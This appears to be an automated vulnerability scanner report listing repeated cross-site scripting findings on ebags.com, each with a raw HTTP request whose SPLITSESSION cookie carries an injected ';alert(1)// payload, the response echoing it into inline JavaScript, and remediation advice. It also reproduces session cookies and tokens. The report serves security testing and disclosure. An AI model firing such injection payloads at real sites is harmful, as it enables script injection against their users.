GET /department/business-and-laptop HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7Ce2144'%3balert(1)//62264d29455; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:08:03 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:08:03 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 76321
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|e2144';alert(1)//62264d29455'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f77f7'%3balert(1)//ef3d048712a was submitted in the SPLITSESSION cookie. This input was echoed as f77f7';alert(1)//ef3d048712a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /department/designer-handbags HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7Cf77f7'%3balert(1)//ef3d048712a; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:06:34 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822; expires=Sun, 02-Jan-2011 14:06:34 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 58402
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','BECOME01$COUPONID=40959822'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|f77f7';alert(1)//ef3d048712a'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 84047'%3balert(1)//6c6d777cb40 was submitted in the SPLITSESSION cookie. This input was echoed as 84047';alert(1)//6c6d777cb40 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /department/handbags HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C84047'%3balert(1)//6c6d777cb40; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:06:37 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:06:37 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 71505
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|84047';alert(1)//6c6d777cb40'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 79b06'%3balert(1)//f0d2e35aa8e was submitted in the SPLITSESSION cookie. This input was echoed as 79b06';alert(1)//f0d2e35aa8e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /department/kids-and-baby HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C79b06'%3balert(1)//f0d2e35aa8e; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:09:30 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:09:30 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 65101
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|79b06';alert(1)//f0d2e35aa8e'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 80dc1'%3balert(1)//d3996fefb2c was submitted in the SPLITSESSION cookie. This input was echoed as 80dc1';alert(1)//d3996fefb2c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /department/luggage HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C80dc1'%3balert(1)//d3996fefb2c; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:07:57 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:07:57 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 73030
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|80dc1';alert(1)//d3996fefb2c'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a5b7a'%3balert(1)//f4eb8fb3d72 was submitted in the SPLITSESSION cookie. This input was echoed as a5b7a';alert(1)//f4eb8fb3d72 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /department/messenger-bags HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7Ca5b7a'%3balert(1)//f4eb8fb3d72; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:07:49 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:07:49 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 69522
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|a5b7a';alert(1)//f4eb8fb3d72'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7302c'%3balert(1)//ca8b38adb31 was submitted in the SPLITSESSION cookie. This input was echoed as 7302c';alert(1)//ca8b38adb31 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /department/sale HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C7302c'%3balert(1)//ca8b38adb31; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:08:58 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:08:58 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 87023
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|7302c';alert(1)//ca8b38adb31'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6da2d'%3balert(1)//f4a0cd679c7 was submitted in the SPLITSESSION cookie. This input was echoed as 6da2d';alert(1)//f4a0cd679c7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /department/snow-and-skate HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C6da2d'%3balert(1)//f4a0cd679c7; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:09:01 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:09:01 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 62344
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|6da2d';alert(1)//f4a0cd679c7'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 83a31'%3balert(1)//4d05bbfeabd was submitted in the SPLITSESSION cookie. This input was echoed as 83a31';alert(1)//4d05bbfeabd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /department/sports-and-duffels HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C83a31'%3balert(1)//4d05bbfeabd; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:09:04 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:09:04 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 70582
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|83a31';alert(1)//4d05bbfeabd'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 521a0'%3balert(1)//e78acb8c688 was submitted in the SPLITSESSION cookie. This input was echoed as 521a0';alert(1)//e78acb8c688 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /department/travel-accessories HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C521a0'%3balert(1)//e78acb8c688; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:08:59 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:08:59 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 72403
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|521a0';alert(1)//e78acb8c688'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 48e43'%3balert(1)//f8f1500fa15 was submitted in the SPLITSESSION cookie. This input was echoed as 48e43';alert(1)//f8f1500fa15 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
